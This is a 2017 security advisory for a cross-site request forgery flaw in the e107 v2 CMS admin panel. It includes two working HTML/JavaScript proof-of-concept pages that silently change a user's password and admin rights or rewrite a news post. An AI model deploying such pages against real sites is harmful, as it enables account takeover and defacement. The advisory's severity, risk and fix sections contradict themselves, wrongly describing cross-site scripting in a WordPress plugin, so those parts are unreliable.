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e107 v2 Bootstrap CMS - CSRF Web Vulnerability
🗓️ 05 Jul 2017 00:00:00Reported by NirmalThapa [twitter.com/nirmal_4n_] - https://www.vulnerability-lab.com/show.php?user=NirmalThapaType 
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Document Title:
===============
e107 v2 Bootstrap CMS - CSRF Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2083
Release Date:
=============
2017-07-05
Vulnerability Laboratory ID (VL-ID):
====================================
2083
Common Vulnerability Scoring System:
====================================
3.2
Vulnerability Class:
====================
Cross Site Request Forgery
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Powerful Website Content Management System Designed for Bootstrap v3.
Get started and make e107 the engine of your fully-featured site today!
(Copy of the Vendors Page: http://e107.org/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site request forgery vulnerability in the official e107 v2 Bootstrap CMS.
Vulnerability Disclosure Timeline:
==================================
2017-06-19: Researcher Notification & Coordination (Security Researcher)
2017-06-19: Vendor Notification (Security Department)
2017-07-06: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
e107
Product: e107 Bootstrap - Content Management System 2.x
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A cross site request forgery web vulnerability has been discovered in the official e107 v2 Bootstrap CMS content management system.
The issue allows remote attackers to manipulate client-side browser to web-application requests, to execute service functions
via non-expired session credentials.
The cross site request forgery vulnerabilites are located in multiple admin cms module POST method requests.
In the absence of a security token an attacker can execute arbitrary codes against administrator accounts to permanenly delete
the pages of the website via panel. Due to the infrastructure the issue becomes more critical without a checkbox to confirm the
delete of any page via panel module.
The security risk of the csrf vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.
Exploitation of the client-side vulnerability requires no privileged web-application user account and only low user interaction.
Proof of Concept (PoC):
=======================
PoC Codes:
(no anti-CSRF token has been used)
1. To Change user details/privileges (where user's id is 2)
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/e107/e107_admin/users.php?mode=main&action=edit&id=2", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------74101875414413332931976179921");
xhr.withCredentials = true;
var body = "-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_ban"rn" +
"rn" +
"0rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_name"rn" +
"rn" +
"testrn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_loginname"rn" +
"rn" +
"testrn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_login"rn" +
"rn" +
"rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_customtitle"rn" +
"rn" +
"rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_password_2"rn" +
"rn" +
"h@ck3d123rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_image"rn" +
"rn" +
"rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_email"rn" +
"rn" +
"[email protected]" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_hideemail"rn" +
"rn" +
"1rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_hideemail__switch"rn" +
"rn" +
"1rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_admin"rn" +
"rn" +
"1rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_admin__switch"rn" +
"rn" +
"0rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="user_signature"rn" +
"rn" +
"rn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="etrigger_submit"rn" +
"rn" +
"updatern" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="__after_submit_action"rn" +
"rn" +
"listrn" +
"-----------------------------74101875414413332931976179921rn" +
"Content-Disposition: form-data; name="submit_value"rn" +
"rn" +
"2rn" +
"-----------------------------74101875414413332931976179921--rn";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
2. Add/modify news (where news's id is 5)
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/e107/e107_admin/newspost.php?action=edit&id=5", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------116765692315936665322329760");
xhr.withCredentials = true;
var body = "rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_category"rn" +
"rn" +
"1rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_title"rn" +
"rn" +
"csrf test lulzrn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_summary"rn" +
"rn" +
"hacked ~ CSRF token bypassrn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_render_type[]"rn" +
"rn" +
"0rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_author"rn" +
"rn" +
"1#Thugzrn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_body"rn" +
"rn" +
"blablarn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_extended"rn" +
"rn" +
"blablarn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[0]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[0]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[1]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[1]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[2]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[2]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[3]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[3]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_thumbnail[4]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="mediameta_news_thumbnail[4]"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_sef"rn" +
"rn" +
"csrf-test-2rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_meta_keywords"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_meta_description"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_allow_comments"rn" +
"rn" +
"0rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_allow_comments__switch"rn" +
"rn" +
"1rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_start"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_end"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_datestamp"rn" +
"rn" +
"1497715113rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_class"rn" +
"rn" +
"0rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="news_sticky"rn" +
"rn" +
"0rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="submitted_id"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="submitted_id"rn" +
"rn" +
"rn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="etrigger_submit"rn" +
"rn" +
"updatern" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="__after_submit_action"rn" +
"rn" +
"listrn" +
"-----------------------------116765692315936665322329760rn" +
"Content-Disposition: form-data; name="submit_value"rn" +
"rn" +
"5rn" +
"-----------------------------116765692315936665322329760--rn";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
Solution - Fix & Patch:
=======================
The vulnerability can be patched by checking and filtering the input values from the vulnerable module. Dont forget to fix the output aswell (htmlspecialchars for example).
Security Risk:
==============
The security risk of the cross site scripting vulnerability in the wordpress newletter plugin is estimated as medium (CVSS 3.2).
Credits & Authors:
==================
NirmalThapa [twitter.com/nirmal_4n_] - https://www.vulnerability-lab.com/show.php?user=NirmalThapa
Disclaimer & Information:
=========================
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05 Jul 2017 00:00Current
7.4High risk
Vulners AI Score7.4